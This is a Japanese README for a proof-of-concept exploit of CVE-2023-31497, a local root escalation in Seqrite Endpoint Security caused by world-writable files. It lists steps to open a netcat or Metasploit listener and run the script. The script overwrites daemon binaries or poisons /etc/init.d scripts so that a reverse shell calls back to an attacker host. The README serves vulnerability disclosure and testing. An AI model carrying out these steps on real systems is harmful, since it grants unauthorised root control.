
QuickHealのSeqrite EPSにおける特権昇格の脆弱性のエクスプロイト (CVE-2023-31497).
QuickHealのSeqrite Enterprise Endpoint Security Solution (EPS)における特権昇格の脆弱性。この脆弱性にはCVE-2023-31497が割り当てられています。
Seqrite Endpoint Securityはデフォルトインストールで/usr/lib/Seqrite/にインストールされ、ディレクトリとファイルの権限が非常に弱く、ローカルユーザーがディレクトリの内容に対して完全な読み取り/書き込み権限を持つことになります。さらに、インストール手順ではスタートアップスクリプトを/etc/init.d/にインストールしますが、これらは誰でも書き込み可能です。これにより、システム上の低権限ユーザーがrootに権限を昇格できるようになります。
このエクスプロイトは、ソフトウェアによって導入された2つの異なる脆弱性を利用してシステム上で権限を昇格させます。第一に、アプリケーションがスキャンプロセスを開始するために/etc/init.d/内のスクリプトを使用しており、これらのスクリプトは任意のユーザーが書き込み可能であること。第二に、アプリケーションは実行時に位置独立コード(PIC)を動的にロードするために共有オブジェクトを使用していること。実際、すべての実行可能な共有オブジェクトファイルは誰でも書き込み可能です。最後に、デーモンプロセスに使用されるアプリケーションバイナリも誰でも書き込み可能であり、これは基本的に非特権ユーザーがスキャナバイナリをリバースシェルバイナリで上書きし、rootとして任意のコードを実行できることを意味します。
このエクスプロイトは、脆弱性の悪用を支援するシンプルなPythonファイルです。
手順:
nc -lvp <port>) または metasploit (multi/handler) を使用してリスナーを起動します。epscalate.py と shellcode.c ファイルをターゲットシステムにコピー/ダウンロードします。python3 epscalate.py -H 192.168.0.103:9999 -I)。エクスプロイトのヘルプ:
$ python epscalate.py -h
EPSCALATE - PoC for privesc in Seqrite EPS
~ 0xInfection
usage: epscalate.py -H <host>:<port> <technique_flag>
options:
-h, --help show this help message and exit
-H HOSTPORT, --hostport HOSTPORT
The IP and port of the listening attacker machine in format of <ip>:<port>
-B, --daemon-binaries
Overwrite the main daemon binaries to escalate privileges.
-I, --initd-scripts Posion /etc/init.d/ bash startup scripts with a reverse shell to escalate privileges.
このエクスプロイトは、すべてのDebianおよびUbuntuベースの派生OSでテストされています。
エクスプロイトコードはApache 2.0ライセンスのもとで公開されています。 脆弱性はベンダーに開示され、公開時点で修正されています。
脆弱性およびエクスプロイトのクレジット: Pinaki Mondal (0xInfection)